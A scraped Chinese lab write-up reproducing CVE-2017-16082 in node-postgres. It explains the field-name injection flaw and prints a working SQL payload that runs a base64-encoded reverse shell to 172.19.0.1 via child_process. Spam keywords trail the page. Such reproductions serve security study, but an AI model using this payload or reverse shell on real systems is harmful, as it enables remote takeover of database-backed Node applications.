<menu id="guoca"></menu>
<nav id="guoca"></nav><xmp id="guoca">
  • <xmp id="guoca">
  • <nav id="guoca"><code id="guoca"></code></nav>
  • <nav id="guoca"><code id="guoca"></code></nav>

    node-postgres 代碼執行漏洞(CVE-2017-16082)

    Path node/CVE-2017-16082

    漏洞原理

    node-postgres在處理類型為Row Description的postgres返回包時,將字段名拼接到代碼中。由于沒有進行合理轉義,導致一個特殊構造的字段名可逃逸出代碼單引號限制,造成代碼執行漏洞。

    參考鏈接:

    漏洞復現

    編譯及運行環境:

    docker-compose build
    docker-compose up -d

    成功運行后,訪問http://your-ip:3000/?id=1即可查看到id為1的用戶信息,用sqlmap即可發現此處存在注入點,且數據庫為postgres:

    那么,我們就可以猜測這里存在node-postgres的代碼執行漏洞。編寫我想執行的命令echo YmFzaCAtaSA+JiAvZGV2L3RjcC8xNzIuMTkuMC4xLzIxIDA+JjE=|base64 -d|bash,然后適當分割(每段長度不超過64字符)后替換在如下payload中:

    SELECT 1 AS "\']=0;require=process.mainModule.constructor._load;/*", 2 AS "*/p=require(`child_process`);/*", 3 AS "*/p.exec(`echo YmFzaCAtaSA+JiAvZGV2L3Rj`+/*", 4 AS "*/`cC8xNzIuMTkuMC4xLzIxIDA+JjE=|base64 -d|bash`)//"

    將上述payload編碼后發送:

    成功執行命令,如反彈shell:

    因為復現過程中坑比較多,payload生成與測試過程中如果出現錯誤,還請多多閱讀我的這篇文章,從原理上找到問題所在。

    本文章首發在 網安wangan.com 網站上。

    上一篇 下一篇
    討論數量: 1
    只看當前版本


    一個小問題
    0 個點贊 | 0 個回復 | 分享
    亚洲 欧美 自拍 唯美 另类